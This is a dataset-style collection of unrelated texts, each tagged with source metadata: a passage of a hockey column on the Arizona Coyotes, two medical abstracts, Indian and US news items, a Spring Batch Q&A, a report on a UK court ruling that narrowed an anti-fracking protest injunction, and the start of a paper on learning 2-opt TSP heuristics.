Both coach Dave Tippett and general manager John Chayka said this week that Dylan Strome, Christian Dvorak, Lawson Crouse, Jakob Chychrun and Laurent Dauphin earned their spots on the roster in training camp and the preseason. At the same time, Tippett acknowledged that a nine-game trial is an option for the hockey operations staff with the junior-eligible players: Strome, Crouse and Chychrun.
With so many NHL defenseman still available, and Michael Stone and Kevin Connauton returning from injuries soon, Chychrun would seem to have the toughest job to stick. The Coyotes could also decide that Crouse isn’t getting enough ice time to warrant keeping him with the NHL club at such a young age. There is also the reality that Strome, Dvorak and Dauphin all play center and there are only two spots available on a nightly basis. Maybe they are comfortable with Dauphin serving as an extra forward. Maybe they are content to let Strome develop in a part-time basis with the beefed up development staff, rather than returning to juniors. Maybe they will use their nearby AHL affiliate to shuttle Dauphin and Dvorak back and forth while also giving prospects such as Christian Fischer an NHL shot. Injuries and the performance of these rookies will also play major roles.
9. Any news on an arena announcement?
President and CEO Anthony LeBlanc assured everyone at the Coyotes Faceoff Luncheon on Thursday that an arena announcement is coming “very soon” and will include a “community rink aspect” to it. What that likely means is that a practice rink or smaller playing rink will be incorporated adjacent to the main arena where the team can practice and the public can also skate. Other teams such as Columbus have similar set-ups.
As for the timing of the actual announcement, that is still a guessing and waiting game that will likely extend past the season opener. So are the partners, though it is hardly a secret that the Coyotes and Arizona State University have become close partners. ASU already plays some of its marquee games at Gila River Arena.
8. How will all these coaches impact the club?
The Coyotes promoted Steve Sullivan to Director of Player Development, they added Mike Van Ryn as their development coach, Dawn Braid as their full-time skating coach, Steve Potvin as their skills coach and Brett Stewart as their European player development coach. They hired Mark Lamb and Mark Hardy to coach their AHL affiliate in Tucson.
“It’s a little crazy with all these coaches walking around,” Tippett said. “Really, we’re just getting up to speed with the rest of the league but it absolutely helps. The ownership group has devoted the resources and finances to make sure we’re not competing at a disadvantage.”
The proximity of the AHL affiliate will clearly help in the form of collaboration, but the specialized coaches can also be called upon in an instant to correct a problem or help a player with an issue.
“If Shane Doan decides after practice that he wants to work on his skating for a half hour, Dawn Braid is right there to do that,” Tippett said. “That kind of thing has an impact on your team.”
7. Can Louis Domingue follow up his promising rookie campaign and earn more time?
The Coyotes hope so, but on the second half of that question, they may hope not. For Domingue to warrant more time, starting goalie Mike Smith would likely have to be struggling. Still, the way Domingue filled in last season gave the Coyotes confidence in his ability to backstop the team for long stretches. A repeat performance could relieve some pressure on Smith, relieve some of Smith’s workload, and perhaps eventually relieve Smith of his job.
6. When will Michael Stone be ready and what is his future with this team?
Stone has progressed well from ACL/MCL surgery 6½ months ago. He has been cleared for contact and is practicing. Tippett said he is close to returning from the non-roster injured list, but it’s been a long time since he played in a game so the Coyotes will be cautious. As for his future, Stone needs to show he has recovered fully from the injury first, but his future may also rest on what other moves the Coyotes make, and how prospects such as Anthony DeAngelo progress.
5. Are the Coyotes still in the market for a top-four, right-handed defenseman?
Yes. Conversations continue with Winnipeg about restricted free-agent holdout Jacob Trouba, and with St. Louis about impending unrestricted free agent Kevin Shattenkirk. Each presents its own challenges. The Jets appear willing to play hardball with Trouba and let him sit out the season if he wants. If he doesn’t sign by Dec. 1, he is ineligible to play in the NHL this season. Winnipeg does not appear willing to trade Trouba despite agent Kurt Overhardt’s public request for a deal. We’ll see if one side blinks before they reach the point of no return.
With Shattenkirk, the asking price is still too high. The Detroit Free Press reported after the NHL Draft that Blues GM Doug Armstrong wanted center Dylan Larkin in any package. It makes sense to ask for the moon for a top-four, right-handed defenseman, but no teams have bitten yet. There is no foreseeable way the Blues can keep Shattenkirk beyond this season with Alex Pietrangelo and Colton Parayko already manning the right side, and Armstrong can’t afford to let such a valuable asset walk away for nothing after the season. In truth, he can’t afford to wait until the trade deadline when Shattenkirk’s value diminishes because playoff teams won’t want to give away existing NHL pieces as they eye postseason runs. Shattenkirk will be dealt. The when and where have yet to be determined.
4. Are the Coyotes still looking for another assistant GM to help John Chayka?
It’s no longer a priority. Co-owner and President of Hockey Operations Gary Drummond said Thursday that the team was deep in discussions with two candidates, but what Chayka and the hockey operations department have been able to accomplish this offseason has cooled that pursuit. “From an ownership point of view, we could not be happier with what we’ve seen,” Drummond said. “I would not say we will never hire an assistant GM because we might, but it’s not the priority that we thought it was four months ago.”
3. Do the Coyotes have a franchise center?
It was hard to miss what Scottsdale product Auston Matthews (four goals) and Edmonton star Connor McDavid (two goals, assist) accomplished in their season debuts on Wednesday. It was hard not to play the what-if game. Franchise centers are critical to winning Stanley Cups. Nobody has won without one since the 2004-05 lockout.
Right now, Christian Dvorak is a little ahead of Dylan Strome in his development and the way he thinks the game, but the Coyotes still don’t know if they have a franchise center in either player. Here’s the reality: It won’t take long to find out. Check out the numbers for the NHL’s current franchise centers. Sidney Crosby had an eye-popping 102 points his rookie season; 120 his second. Anze Kopitar had 61 points his rookie season; 77 his second. Jonathan Toews had 54 points in just 64 games his rookie season; 69 in his second. Tyler Seguin had 67 points in his second season with Boston. McDavid had 48 points in an injury-shortened, 45-game rookie season. This isn’t a slow growth story. You either have it or you don’t, and the difference between haves and have-nots is championships.
2. What will be the greatest factor in improved performance this season?
Tippett likes to divide his roster into three groups. The veteran group provides leadership, stability and consistency. The young group provides energy and enthusiasm and some production. The middle group is the one Tippett believes is most responsible for determining success or failure. Last season, that group included players such as Martin Hanzal and Oliver Ekman-Larsson. This season, Tippett wants players such as Max Domi, Anthony Duclair, Jordan Martinook, Connor Murphy and Tobias Rieder to join that group.
“The key for our team right now and probably the biggest factor in our team moving ahead is that group taking the next step,” Tippett said.
1. Which teams must the Coyotes overtake to make the playoffs?
The Western Conference is a hard read for myriad reasons. How will offensive-minded coach Bruce Boudreau’s hiring impact a Minnesota team whose greatest weakness has been consistent offense? How will a coaching change in Colorado impact a talent-laden roster whose abilities were seemingly lost on Patrick Roy? How will all that youth up front impact Chicago? Was the 2016 postseason a sign that Anaheim and Los Angeles are in decline (especially if L.A. goalie Jonathan Quick misses a significant amount of time with an injury)? Did Calgary do enough in the offseason to push itself back into the playoff picture? Will Connor McDavid end the Oilers’ 10-year playoff drought? The way we see it, Dallas, Nashville, St. Louis and Chicago are locks in the Central Division, and it’s hard to fathom L.A. missing the playoffs in the Pacific after such a strong regular season last year (again, unless Quick is out a long while).
The bubble teams to watch this year will likely be Minnesota, Calgary and perhaps even Anaheim, whose Cup window has seemingly closed. Winnipeg could also jump back in the mix. In other words, it will be a tough road.
Follow Craig Morgan on Twitter
Follow @craigsmorgan
|
{
"pile_set_name": "OpenWebText2"
}
|
Biological and Behavioral Factors Associated With Positive Chlamydia Retests.
Repeat chlamydia detection after treatment is common, and there is concern that treatment failure may be a cause. Within a randomized trial, we established a prospective cohort of 600 participants with anogenital chlamydia diagnoses (200 each of women, heterosexual men, and men who have sex with men [MSM]). Participants were invited for repeat testing at 3 months and to complete a behavioral survey at 4 months. Positive samples were analyzed for organism DNA load and genovar. We estimated repeat chlamydia positivity, reinfection and treatment failure rates, and investigated the biological and behavioral factors associated with a repeat positive test. A total of 290 participants (100 women, 89 heterosexual men, 101 MSM) were retested at 1 to 4 months, with 43 repeat positives, including 26 classed as reinfection and 9 as treatment failures. Comparing MSM with heterosexual men and women combined, repeat positivity was higher (20.8% vs 11.6%, P = 0.04), and treatment failure was higher (6.9% vs 1.1%, P = 0.01), but there was no difference in reinfection rates (11.9% vs 7.4%, P = 0.21). Among MSM, the odds of repeat positivity increased by 90% with each additional log organism load in the original specimen (baseline) (adjusted odds ratio, 1.9; 95% confidence interval, 1.1-3.2). Among heterosexuals, the odds of repeat positivity decreased by 10% with each additional week delay in being retested for chlamydia (adjusted odds ratio, 0.9; 95% confidence interval, 0.8-0.9). Positive retests were more common among MSM than heterosexuals. Treatment failure was more common in MSM with rectal chlamydia, reinforcing concerns about azithromycin treatment failure.
|
{
"pile_set_name": "PubMed Abstracts"
}
|
Pragmatics of measuring recognition memory: applications to dementia and amnesia.
This article has two purposes. The first is to describe four theoretical models of yes-no recognition memory and present their associated measures of discrimination and response bias. These models are then applied to a set of data from normal subjects to determine which pairs of discrimination and bias indices show independence between discrimination and bias. The following models demonstrated independence: a two-high-threshold model, a signal detection model with normal distributions using d' and C (rather than beta), and a signal detection model with logistic distributions and a bias measure analogous to C. C is defined as the distance of criterion from the intersection of the two underlying distributions. The second purpose is to use the indices from the acceptable models to characterize recognition memory deficits in dementia and amnesia. Young normal subjects, Alzheimer's disease patients, and parkinsonian dementia patients were tested with picture recognition tasks with repeated study-test trials. Huntington's disease patients, mixed etiology amnesics, and age-matched normals were tested by Butters, Wolfe, Martone, Granholm, and Cermak (1985) using the same paradigm with word stimuli. Demented and amnesic patients produced distinctly different patterns of abnormal memory performance. Both groups of demented patients showed poor discrimination and abnormally liberal response bias for words (Huntington's disease) and pictures (Alzheimer's disease and parkinsonian dementia), whereas the amnesic patients showed the worst discrimination but normal response bias for words. Although both signal detection theory and two-high-threshold discrimination parameters showed identical results, the bias measure from the two-high-threshold model was more sensitive to change than the bias measure (C) from signal detection theory. Three major points are emphasized. First, any index of recognition memory performance assumes an underlying model. Second, even acceptable models can lead to different conclusions about patterns of learning and forgetting. Third, efforts to characterize and ameliorate abnormal memory should address both discrimination and bias deficits.
|
{
"pile_set_name": "PubMed Abstracts"
}
|
Text Size: A- A+
Pakistan’s spy arrests: Brigadier’s kids studied in US, engineer bought home in his own name
Wasim Akram and Brigadier Raja Rizwan, whom Pakistan Army hanged last week for espionage, would not have been caught. But two things went wrong. Abhijit Iyer-Mitra tracks the inside story of one of the most high-profile military espionage cases in recent times.
Whether it’s CM Fadnavis or CM Thackeray, the only winner in Maharashtra is Rahul Gandhi
Last weekend thrust Maharashtra politics into deep uncertainty as the BJP, supported by the NCP’s Ajit Pawar, staked claim to office despite being evidently short of numbers. The decision came just hours before the Congress-NCP-Shiv Sena alliance was to stake claim in the state. Amid this chaos, DK Singh explained how former Congress president Rahul Gandhi, who played virtually no role in the campaign, would emerge the winner of the Maharashtra battle no matter which side eventually won.
BJP could be shrinking politically but is winning big time ideologically
BJP is ruling fewer large, important states now but its big Hindutva ideas have won and face little opposition across the country, Shekhar Gupta writes in this week’s National Interest.
Boroline — the cure-all that is stuck in time but still brings joy, especially to Bengalis
The humble antiseptic cream was a by-product of the Swadeshi movement, but continues to be vouched for — even by the millennials, Fiza Jha writes in last week’s Brandma.
Behind Ajit Pawar’s call to resign — a nudge from ‘Pratibha tai’, Sharad Pawar’s wife
Nationalist Congress Party (NCP) leader Ajit Pawar’s decision to junk his shock BJP tie-up was driven by a family campaign led by the matriarch of the powerful Pawar clan, Haima Deshpande reports.
Year after #MeToo apology, comic Utsav Chakraborty calls out 4 women on Twitter for ‘lies’
Stand-up comic Utsav Chakraborty was among the biggest names that came out as MeToo reached India last year. However, a year later, he has denied all allegations in a series of tweets. Simrin Sirur reports.
If you still don’t understand JNU fee hike protest, read this story of Sunita
Swaraj India president Yogendra Yadav explains the JNU fee protests through the “vantage point of Sunita… an average… young woman” who lives in a village and comes from a farmer’s family that is “not very poor, certainly not below the poverty line”.
Subscribe to our channels on YouTube & Telegram
Why news media is in crisis & How you can fix it You are reading this because you value good, intelligent and objective journalism. We thank you for your time and your trust. You also know that the news media is facing an unprecedented crisis. It is likely that you are also hearing of the brutal layoffs and pay-cuts hitting the industry. There are many reasons why the media’s economics is broken. But a big one is that good people are not yet paying enough for good journalism. We have a newsroom filled with talented young reporters. We also have the country’s most robust editing and fact-checking team, finest news photographers and video professionals. We are building India’s most ambitious and energetic news platform. And have just turned three. At ThePrint, we invest in quality journalists. We pay them fairly. As you may have noticed, we do not flinch from spending whatever it takes to make sure our reporters reach where the story is. This comes with a sizable cost. For us to continue bringing quality journalism, we need readers like you to pay for it. If you think we deserve your support, do join us in this endeavour to strengthen fair, free, courageous and questioning journalism. Please click on the link below. Your support will define ThePrint’s future. Support Our Journalism
Show Full Article
|
{
"pile_set_name": "OpenWebText2"
}
|
Andy Wong/Pool/Reuters
Trade delegations from the US and China reportedly plan to meet in Shanghai next Monday, which would mark the first high-level talks between the two sides since they stalled in May.
Bloomberg reported on Tuesday that US Trade Representative Robert Lighthizer and other senior negotiators are set to be in China through Wednesday for the talks.
US President Donald Trump and Chinese President Xi Jinping agreed to a cease-fire at the G20 summit in late June, stalling proposed tariff escalations while negotiators work toward an agreement to defuse the yearlong trade dispute.
Visit Markets Insider for more stories.
Trade delegations from the US and China reportedly plan to meet in Shanghai next Monday, which would mark the first high-level talks between the two sides since they stalled in May.
Bloomberg reported on Tuesday that US Trade Representative Robert Lighthizer and other senior negotiators are set to be in China through next Wednesday for the talks.
The White House and the Office of the USTR did not immediately respond to emails requesting comment. Asked about similar reports from Chinese state media outlets on Monday, the USTR said that it "has no announcements on this at this time."
US President Donald Trump and Chinese President Xi Jinping agreed to a cease-fire at the G20 summit in late June, stalling proposed tariff escalations while negotiators work toward an agreement to defuse the yearlong trade dispute.
Nearly a dozen rounds of high-level negotiations fell apart in May after Washington said Beijing reneged on key commitments in a draft deal, prompting threats from Trump to slap tariffs on virtually all imports from China. The president has since jumped between expressing optimism about a deal and renewing those threats.
Lighthizer and Treasury Secretary Steven Mnuchin spoke with their Chinese counterparts by phone this month to discuss unresolved issues. The US has struggled to get China to change domestic laws to address intellectual-property theft and the forced transfer of foreign technology.
In Beijing, Xi has walked a tightrope between maintaining a tough appearance and giving into concessions that could help the slowing Chinese economy. Officials have taken steps toward buying more American soybeans after halting a majority of such purchases last year.
The Trump administration hosted technology companies on Monday, a gesture that could signal plans to loosen restrictions on the telecommunications giant Huawei. The White House described the meeting as "constructive."
Markets Insider is looking for a panel of millennial investors. If you're active in the markets, CLICK HERE to sign up.
NOW WATCH: The US women's national team dominates soccer, but here's why the US men's team sucks
|
{
"pile_set_name": "OpenWebText2"
}
|
Q:
Spring batch inserting relationships
I am inserting records from xml into a table with many foreign keys. From the XML data there may be a foreign relationship that does not exist yet, so i will need to insert it prior to inserting main entity.
Ex.
<person>
<name>p1</name>
<school>XYZ School</school>
<person>
My JDBCBatchItemWriter sql would be:
INSERT INTO PERSON (NAME, SCHOOL_ID) VALUES (:name, (SELECT ID FROM SCHOOLS WHERE SCHOOL_NAME = :school));
Do i need a separate job step to insert each relationship prior to inserting the main entity? I have looked for examples with relational data and everything i find seems to be the simplistic case where the foreign keys will already exist.
Solution:
Ended up making a step to create a HashMap> of all the foreign object that i need to make. Then inject this into the next step which does an insert if the object does not exist yet. Might need a better solution than using an in memory HashMap, but seems to work for now.
A:
There are a couple different ways to address this. The question really is about how they get loaded. Do you need to do a check to see if they exist first? This check can have a big hit on performance if done needlessly. The most performant way to accomplish this is through a separate step assuming you can just blindly insert them in that earlier step.
|
{
"pile_set_name": "StackExchange"
}
|
Anti-fracking campaigns have won a legal challenge to an injunction granted to the shale gas company, Ineos Upstream.
Three law lords this morning granted an appeal brought by Joe Corre and Joe Boyd.
In a reserved judgement, Lord Justice Longmore, Lord Justice David Richards and Lord Justice Leggatt ruled that sections of the injunction, first granted in July 2017, were unlawful.
The case could have implications for similar, injunctions granted to four more oil and gas companies.
The original injunction prevented “persons unknown” from trespassing on or obstructing access to eight shale gas sites and company offices. It also prohibits people from combining together to commit unlawful acts “with the intention of damaging” Ineos or any other companies in its supply chain.
Today, the court of appeal struck out the sections applying to protests on the public highway, including slow walking protests, climbing on to vehicles and blocking the road. It also removed the section on protests against the supply chain.
The ruling said:
“The concept of slow walking in front of vehicles or, more generally, obstructing the highway may not result in any damage to the claimants at all” .
It questioned the lack of precision in the prohibition of slow walking, asking
“how slow is slow? Any speed slower than a normal walking speed of two miles per hour? One does not know”,
It concluded:
“A person faced with such an injunction may well be chilled into not obstructing the highway at all.”
The ruling said the High Court order was “both too wide and insufficiently clear”. It said:
“The citizen’s right of protest is not to be diminished by advance fear of committal except in the clearest of cases.”
The sections on trespass and private rights of way were maintained in the injunction for the time being. But the law lords ruled that the High Court had applied the wrong test in approving this part of the order. The ruling said there was no time limit on the order and this was unsatisfactory. It added:
“The [High Court] judge has held that the threat of trespass is imminent and real but he has given little or no consideration … to the question whether that is likely to be established at trial.”
Ineos was ordered to go back to the High Court so that these sections could be assessed against the Human Rights Act.
The law lords did not accept the campaigners’ arguments that the injunction should not have been brought against “persons unknown”.
Campaigners’ reaction
Outside the court, Joe Corre said:
“Ineos painted ordinary people as dangerous fanatics. This result has restored my faith in the justice system. I was always appalled that Ineos was able to bring this case in a secret court. “It shows they cannot pick on ordinary people because we will stand up and defend ourselves.”
Referring to a new Ineos motto (I came, I bought, I conquered), Mr Corre said
“Ineos tried to buy the law and they lost. They have not conquered anything.”
Joe Boyd said:
“We are delighted. This has been a campaign about people power.”
He paid tribute to the legal teams and barristers who took the case for “their approach to human rights, with freedom of expressions at the heart of all arguments, and those who have faith in me as the rights of a person to act freely under consciousness.” Mr Boyd dedicated his win to the campaigner, Polly Higgins.
Rosa Curling, solicitor at the law firm, Leigh Day, which represented Mr Boyd, said:
“Our client is delighted with his victory in the Court of Appeal today. The pre-emptive injunctions ordered by the High Court were unprecedented in their scope and undermined the protections of civil liberties and human rights in the UK. The rights to freedom of expression and peaceful protest are crucial in any democracy. That includes unruly, potentially disruptive protests.
“Turning point”
Friends of the Earth, which intervened in this case, said the decision marked a turning point in the use of injunctions against fracking protests.
The organisation’s in-house lawyer, Katie de Kauwe, said:
“This is a massive victory for civil liberties and human rights across the country. “It has knocked the teeth out of the Ineos injunction restraining what it called unlawful protest. “Its impact will also extend to the injunctions obtained by other fracking companies.” “Friends of the Earth is so proud to have been part of this legal action.”
Dave Timms, head of political affairs at Friends of the Earth, said:
“This is a humiliating defeat for INEOS and a victory for campaigners and human rights. We believe that these injunctions are a sinister attempt to use the law to stop peaceful protest against the fracking industry. The ruling today confirms our view that INEOS’ injunction was wrongly granted and unlawfully stifled protest. Wherever fracking is attempted it meets fierce resistance by local communities. The Court of Appeal today stood up for their right to peaceful protest and free speech.”
Friends of the Earth said it would now write to other firms granted similar anti-protest injunctions informing them that they should withdraw or substantially amend them or face possible legal action.”
Stephanie Harrison QC, who represented Mr Corre, said:
“Today’s judgement recognises the serious chilling effect of the INEOS injunction on civil liberties, particularly the broad, sweeping terms of the injunction against wide categories of persons unknown. “The outcome of this case serves to underline the importance of the Human Rights Act 1998 as a safeguard for fundamental freedoms like free speech and the right to protest. These rights are the life blood of our democracy. This judgement makes clear that the Court will intervene to prevent powerful companies like INEOS using draconian injunctions to intimidate and deter people from participating in lawful protest against fracking, which is widely seen by campaigners and local people affected to be dangerous and damaging to the environment and their communities.”
Ineos statement
Ineos chief operations officer, Tom Pickering, said in a statement:
“We welcome the Court of Appeal’s decision to uphold our injunctions protecting people on and around our sites. We only secured these injunctions because we are determined to project our people and suppliers, as well as the communities we work in. We are talking with our legal team about our next steps, because we believe it is essential that the forces of law-and-order prevail.”
He added:
“We will always do all we can to protect our colleagues, suppliers and peaceful, law-abiding local people. We respect peaceful protest, but we must stand up to the militants who game the legal system with intimidation and mob rule. We stand for jobs and opportunity. They stand for anarchy in the UK.”
Background
Ineos had argued that the injunction was necessary to protect the locations against what it said was “a real threat of interference from protests”. The company denied it prevented the peaceful right to protest.
But at a court hearing last month, Mr Boyd and Mr Corre argued that the terms of the injunction unlawfully breached human rights.
They said the injunction was “unprecedented, wide-ranging, unclear, unfair and based on exaggeration and untested evidence”.
Heather Williams QC, barrister for Mr Boyd, described the injunction as “novel, uncertain, unnecessary and disproportionate”
She said it exposed
“a significant number of people to serious penalties for freedom of speech and protest-related activities and is already having a serous chilling effect.”
She said Mr Justice Morgan, the High Court judge who granted the injunction, had failed to distinguish between lawful freedom of expression and assembly, protected under the Human Rights Act, and unlawful activities. He also failed to acknowledge that the evidence had been disputed at an earlier challenge to the injunction, she said.
Stephanie Harrison QC, for Mr Corre, said of the injunction:
“It is having an impermissible and severe chilling effect on the right to free speech and to protest. It is an unlawful interference with those rights.”
She said the injunction had been used as a template for similar orders granted to four other oil and gas companies,:Cuadrilla, IGas, UK Oil & Gas and Angus Energy.
Alan Maclean QC, for Ineos, said the injunction followed legal precedence and “contains no error of law”. He said the conclusions of Mr Justice Morgan were “not impeachable on appeal”.
He said:
“There is no violence done to the rules. No injustice has been done to any individual.”
Mr Boyd and Mr Corre both brought appeals against the use of “persons unknown”. Mr Boyd also appealed on the grounds that the injunction should not outlaw protests against Ineos’ supply chain and Mr Justice Morgan had failed to assess Ineos evidence in the light of the Human Rights Act.
DrillOrDrop reports on the Court of Appeal case here and here
Reporting from the hearings and the ruling has been made possible by individual donations from DrillOrDrop readers.
|
{
"pile_set_name": "OpenWebText2"
}
|
---
abstract: 'Recent works using deep learning to solve the Traveling Salesman Problem (TSP) have focused on learning construction heuristics. Such approaches find TSP solutions of good quality but require additional procedures such as beam search and sampling to improve solutions and achieve state-of-the-art performance. However, few studies have focused on improvement heuristics, where a given solution is improved until reaching a near-optimal one. In this work, we propose to learn a local search heuristic based on 2-opt operators via deep reinforcement learning. We propose a policy gradient algorithm to learn a stochastic policy that selects 2-opt operations given a current solution. Moreover, we introduce a policy neural network that leverages a pointing attention mechanism, which unlike previous works, can be easily extended to more general k-opt moves. Our results show that the learned policies can improve even over random initial solutions and approach near-optimal solutions at a faster rate than previous state-of-the-art deep learning methods.'
author:
- Paulo Roberto de Oliveira da Costa
- Jason Rhuggenaath
- Yingqian Zhang
- Alp Akcay
title: 'Learning 2-opt Heuristics for the Traveling Salesman Problem via Deep Reinforcement Learning'
---
Introduction
============
The Traveling Salesman Problem (TSP) is a well-known combinatorial optimization problem. In the TSP, given a set of locations (nodes) in a graph, we need to find the shortest tour that visits each location exactly once and returns to the departing location. The TSP has been shown to be NP-hard [@papadimitriou1977euclidean] even in its Euclidean formulation, i.e., nodes are points in the 2D space. Classic approaches to solve the TSP can be classified in exact and heuristic methods. The former have been extensively studied using integer linear programming [@applegate2006traveling] which are guaranteed to find an optimal solution but are often too computationally expensive to be used in practice. The latter are based on handcrafted (meta-)heuristics that exploit properties of the problem to construct approximated solutions requiring less computational time, such as heuristics based on edge swaps like $k$-opt [@helsgaun2009general]. Nevertheless, designed heuristics require specialized knowledge and their performances are often limited by algorithmic design decisions.
Recent works in machine learning and deep learning have focused on learning heuristics for combinatorial optimization problems [@bengio2018machine; @lombardi2018boosting]. For the TSP, both supervised learning [@vinyals2015pointer; @joshi2019efficient] and reinforcement learning [@Bello2017WorkshopT; @wu2019learning; @kool2018attention; @deudon2018learning; @khalil2017learning] methods have been proposed. The idea is that a machine learning method could potentially learn better heuristics by extracting useful information directly from data, rather than having an explicitly programmed behavior. Most approaches to the TSP have focused on learning construction heuristics, i.e., methods that can generate a solution given a set of input nodes. These methods employed sequence representations [@vinyals2015pointer; @Bello2017WorkshopT], graph neural networks [@khalil2017learning; @joshi2019efficient] and attention mechanisms [@kool2018attention; @deudon2018learning; @wu2019learning] resulting in high-quality solutions. However, construction methods still require additional procedures such as beam search, classical improvement heuristics and sampling to achieve such results. This limitation hinders their applicability as it is required to revert back to handcrafted improvement heuristics and search algorithms for state-of-the-art performance.
Thus, learning improvement heuristics that can search for high-quality solutions remains relevant. That is, we focus on methods in which a given solution is improved sequentially until reaching an (local) optimum. Here the idea is that if we can learn a policy to improve a solution, we can use it to get better solutions from a construction heuristic or even random solutions. Recently, a deep reinforcement learning method [@wu2019learning] has been proposed for such task, achieving near-optional results using node swap and 2-opt moves. However, the architecture has its output fixed by the number of possible moves and TSP size, which makes it less favorable to expand to more general $k$-opt [@helsgaun2009general] moves and to learn general policies independent of the number of nodes.
In this work, we propose a deep reinforcement learning algorithm trained via Policy Gradient to learn improvement heuristics based on 2-opt moves. Our architecture is based on a pointer attention mechanism [@vinyals2015pointer] that outputs nodes sequentially for action selection. We introduce a reinforcement learning formulation to learn a stochastic policy of the next promising solutions, incorporating the search’s history information by keeping track of the current best-visited solution. Our results show that we can learn policies for the Euclidean TSP that achieve near-optimal solutions even when starting from solutions of poor quality. Moreover, our approach can achieve better results than previous deep learning methods based on construction [@vinyals2015pointer; @joshi2019efficient; @kool2018attention; @deudon2018learning; @khalil2017learning; @Bello2017WorkshopT] and improvement [@wu2019learning] heuristics. Compared to [@wu2019learning], our method can be easily adapted to general $k$-opt and requires fewer samples to achieve state-of-the-art-performance. In addition, policies trained on small instances can be reused on larger instances of the TSP. Lastly, our method outperforms other effective heuristics such as Google’s OR-Tools [@ortools] and are close to optimal solutions computed by Concorde [@applegate2006traveling].
Related Work
============
Exact approaches for the TSP, such as linear programming, may require a large amount of computational time to find optimal solutions. For this reason, designing fast heuristics for the TSP is necessary. However, classical heuristics require specialized knowledge and may have sub-optimal handcrafted design rules. Therefore, methods that can automatically learn good heuristics have the potential to be more effective than handcrafted ones.
In machine learning, early works for the TSP have focused on Hopfield networks [@hopfield1985neural] and deformable template models [@angeniol1988self]. However, the performance of these approaches has not been on par with classical heuristics [@la2012comparison]. Recent deep learning methods have achieved high performance learning construction heuristics for the TSP. Pointer Networks (PtrNet) [@vinyals2015pointer] introduced a sequence model coupled with an attention mechanism trained to output TSP tours using solutions generated by Concorde [@applegate2006traveling]. In [@Bello2017WorkshopT], the PtrNet was further extended to learn without supervision using Policy Gradient, trained to output a distribution over node permutations. Other approaches encoded instances via graph neural networks. A *structure2vec* (S2V) [@khalil2017learning] model was trained to output the ordering of partial tours using Deep Q-Learning (DQN). Later, graph attention modules [@deudon2018learning], showed that a hybrid approach using 2-opt local search on top of tours produced via Policy Gradient improves performance. Graph attention was extended in [@kool2018attention] training via REINFORCE [@williams1992simple] with a greedy rollout baseline, resulting in lower optimality gaps. Recently, the supervised approach was revisited using Graph Convolution Networks (GCN) [@joshi2019efficient] to learn probabilities of edges occurring on a TSP tour, achieving state-of-the-art results up to 100 nodes whilst also combining with search heuristics.
Important to previous methods are additional procedures such as beam search, classical improvement heuristics and sampling to achieve good solutions. However, little attention has been posed on learning such policies that search for improved solutions. A recent approach [@wu2019learning], based on the transformer architecture, encoded employed Graph Attention Network (GAT) [@velickovic2018graph] coupled with 2-opt and node swap operations. The limitations of this approach are related to the fixed output embeddings. These are vectors with fixed dimensions defined by the squared number of nodes. This choice makes the model specific to an instance size and expanding to general $k$-opt [@helsgaun2009general] moves requires increasing the dimension of the output vector. Moreover, the approach requires more samples than construction methods to achieve similar results.
In contrast, we encode edge information using graph convolutions and use classical sequence encoding to learn tour representations. We decode these representations via a pointing attention mechanism [@vinyals2015pointer] to learn a stochastic policy of the action selection task. Our approach resembles classical 2-opt heuristics [@hansen2006first] and can outperform previously deep learning methods in solution quality and sample efficiency.
Background
==========
Travelling Salesman Problem
---------------------------
We focus on the 2D Euclidean TSP. Given an input graph, represented as a sequence of $n$ locations in a two dimensional space $X = \{x_i\}^n_{i=1}$ where $x_i \in [0, 1]^2$, we are concerned with finding a permutation of the nodes, i.e. a tour $S = (s_1, \dots, s_n)$, that visits each node once (except the starting node) and has the minimum total length (cost). We define the cost of a tour as the sum of the distances (edges) between consecutive nodes in $S$ as $$L(S)= \left\|x_{s_n}-x_{s_1} \right\|_2 + \sum_{i=1}^{n-1}\left\| x_{s_i}-x_{s_{i+1}}\right\|_2\,,$$ where $ \left\|\cdot\right\|_2$ denotes the $\ell_2$ norm.
$k$-opt Heuristic for the TSP
-----------------------------
Improvement heuristics enhance feasible solutions through a search procedure. A procedure starts at an initial solution $S_0$ and replaces a previous solution $S_t$ by a better solution $S_{t+1}$. Local search methods such as the effective Lin-Kernighan-Helsgaun (LKH) [@helsgaun2009general] heuristic perform well for the TSP. The procedure searches for $k$ edge swaps ($k$-opt moves) that will be replaced by new edges resulting in a shorter tour. A simpler version [@lin1973effective], considers 2-opt (Figure \[fig:operator\]) and 3-opt moves as alternatives as these balance solution quality and the $O(n^k)$ complexity of the moves. Moreover, sequential pairwise operators such as $k$-opt moves can be decomposed in simpler $l$-opt ones, where $l<k$. For instance, 3-opt sequential operations can be decomposed into one, two or three 2-opt operations [@helsgaun2009general]. However, in local search algorithms, the quality of the initial solution usually affects the quality of the final solution, i.e. local search methods can easily get stuck in local optima [@hansen2006first].
![TSP solution before a 2-opt move (left), and the output sequence after a 2-opt move (right). Replaced edges are represented in dashed lines. Note that the sequence $s_i, \dots, s_j$ is inverted.[]{data-label="fig:operator"}](2opt_new.pdf){width="50.00000%"}
To avoid local optima, different metaheuristcs have been proposed including Simulated Annealing and Tabu Search. These work by accepting worse solutions to allow more exploration of the search space. In general, allowing a larger exploration of the search space leads to better solution quality. However, metaheuristics still require expert knowledge and may have sub-optimal rules in their design. To tackle this limitation, we propose to combine machine learning and 2-opt operators to learn a stochastic policy to sequentially improve a TSP solution with one in its neighborhood. Our policy iterates over feasible solutions and the best solution (minimum cost) is returned at the end. The idea behind our method is that by taking future improvements into account we can (potentially) find better solutions than handcrafted heuristics.
Reinforcement Learning Formulation
==================================
Our formulation considers the task of solving the TSP via 2-opt moves as a Markov Decision Process (MDP), detailed below. In our MDP, a given solution (tour) at step $t$ is an observation $S_t$ and the proposed *policy gradient neural architecture* (Section \[sec:PGN\]) is used as function approximation for the stochastic policy $\pi_{\theta}(A_t\mid \Bar{S}_t)$ where action $A_t$ is selected given a state $\Bar{S}_t = (S_t, S^\prime_t) $. Each state $\Bar{S}_t$ is represented as a tuple of the current solution $S_t$ and the best solution $S^\prime_t$ (minimum cost) seen up to $t$, where $\theta$ represents the trainable parameters of our *policy* network. Each $A_t$ corresponds to a 2-opt move in which nodes are sampled sequentially. Our architecture also encompasses a *value* network that outputs value estimates $V_\phi(\bar{S}_t)$, with $\phi$ as learnable parameters. We assume that TSP samples are drawn from the same distribution $\mathcal{S}$ and use Policy Gradient to learn the actions of an agent optimizing the parameters of the policy and value networks (Section \[sec:PGO\]).
